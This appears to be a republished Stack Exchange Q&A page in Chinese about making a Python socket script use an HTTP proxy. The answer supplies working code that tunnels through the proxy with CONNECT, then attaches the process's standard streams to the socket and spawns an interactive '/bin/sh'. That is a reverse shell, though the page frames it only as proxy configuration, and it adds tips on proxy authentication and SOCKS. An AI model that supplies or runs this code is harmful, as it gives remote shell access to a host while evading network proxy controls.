Python socket脚本配置HTTP代理的实现方案咨询
问题原因分析
你之前的配置方案不生效的核心原因是:socket 是Python的底层网络接口,不会自动读取http_proxy这类系统环境变量做代理适配,只有requests、urllib等高层网络库才会自动处理代理环境变量,你设置环境变量后还是直接调用s.connect(("my-test-server", 443)),本质还是直连目标服务器,自然不会走代理。
正确实现方案
HTTP代理支持CONNECT隧道方法,可以让代理转发TCP层的流量,你需要手动完成代理隧道的建立流程,示例代码如下:
#!/usr/bin/env python import socket import subprocess import os from urllib.parse import urlparse # 代理地址配置 proxy_url = urlparse("http://localhost:8080") proxy_host = proxy_url.hostname proxy_port = proxy_url.port if proxy_url.port else 8080 # 目标服务地址 target_host = "my-test-server" target_port = 443 # 1. 先连接代理服务器 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((proxy_host, proxy_port)) # 2. 发送CONNECT请求建立隧道 connect_request = f"CONNECT {target_host}:{target_port} HTTP/1.1\r\nHost: {target_host}:{target_port}\r\n\r\n" s.send(connect_request.encode()) # 3. 读取代理响应,确认隧道建立成功 response = s.recv(4096).decode() if not response.startswith("HTTP/1.1 200"): raise Exception(f"代理连接失败,响应:{response}") # 后续逻辑和原有脚本一致 os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"])
额外说明
- 如果你的HTTP代理需要身份认证,需要在CONNECT请求头里加
Proxy-Authorization字段,格式为:Proxy-Authorization: Basic <base64编码的用户名:密码>\r\n,把这个头加到CONNECT请求的Headers里即可。 - 该方案仅支持HTTP/HTTPS代理,不支持Socks代理,如需支持Socks代理可以使用第三方库
PySocks替换原生socket。
内容的提问来源于stack exchange,提问作者LewlSauce
相关产品推荐
相关产品推荐

